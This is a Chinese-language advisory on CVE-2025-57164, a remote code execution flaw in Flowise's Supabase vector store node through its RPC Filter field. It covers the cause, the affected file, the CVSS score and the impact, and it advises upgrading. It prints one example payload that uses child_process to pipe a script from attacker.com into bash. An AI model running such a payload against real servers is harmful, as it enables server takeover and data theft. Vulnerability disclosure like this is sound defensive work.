CVE-2025-57164CVE-2025-57164是FlowiseAI Flowise开源项目中存在的一个远程代码执行(RCE)漏洞。该漏洞存在于Flowise v3.0.4及之前版本中,具体位于Supabase向量存储节点的"Supabase RPC Filter"字段处理逻辑中。由于该字段未对用户输入进行充分的过滤和转义处理,攻击者可以通过构造恶意的过滤表达式,在服务器端触发未受信任的代码执行,从而完全控制目标服务器。
Flowise是一款基于Node.js的开源可视化AI工作流构建工具,允许用户通过拖拽方式创建和部署基于大语言模型(LLM)的应用程序。其Supabase集成组件用于与Supabase向量数据库进行交互,支持相似度搜索等功能。该漏洞的CVSS评分为6.5,属于中危级别,攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),对机密性和完整性具有低影响,但可用性不受影响。
该漏洞的利用条件相对简单,攻击者只需向存在漏洞的Flowise实例发送包含恶意代码的请求,即可触发远程代码执行。由于Flowise通常部署在企业内网或云环境中用于AI应用开发,一旦被利用,攻击者可以获取服务器权限、窃取敏感数据(如API密钥、数据库凭证),甚至将服务器作为跳板进行横向移动,进一步威胁整个内网安全。
该漏洞的根本原因在于Flowise的Supabase向量存储节点中,对用户输入的"Supabase RPC Filter"字段使用了不安全的代码执行方式(如eval()或Function构造函数)。具体漏洞代码位于`packages/components/nodes/vectorstores/Supabase/Supabase.ts`的第237行。
在正常情况下,Supabase RPC Filter字段用于接收用户自定义的过滤条件,以便在向量相似度搜索时对结果进行进一步筛选。然而,由于开发者未对该字段的输入进行严格的验证和沙箱化处理,攻击者可以注入任意JavaScript代码。当Flowise处理该节点并执行过滤逻辑时,恶意代码将在服务器进程中以Node.js运行时权限执行。
利用方式如下:攻击者首先需要访问目标Flowise实例(通常通过Web界面或API),然后创建一个包含Supabase向量存储节点的工作流,或者直接通过API调用修改现有工作流中的Supabase RPC Filter字段。攻击者将恶意JavaScript代码(如`require('child_process').execSync('curl http://attacker.com/shell.sh | bash')`)注入到该字段中。当工作流被触发执行时,恶意代码将在服务器上执行,攻击者即可获得远程代码执行能力。
由于该漏洞无需认证即可利用(PR:N),且无需用户交互(UI:N),攻击者可以通过自动化扫描工具大规模发现和利用存在漏洞的Flowise实例。建议所有使用Flowise的用户尽快升级到修复版本,并对暴露在公网的Flowise实例进行访问控制限制。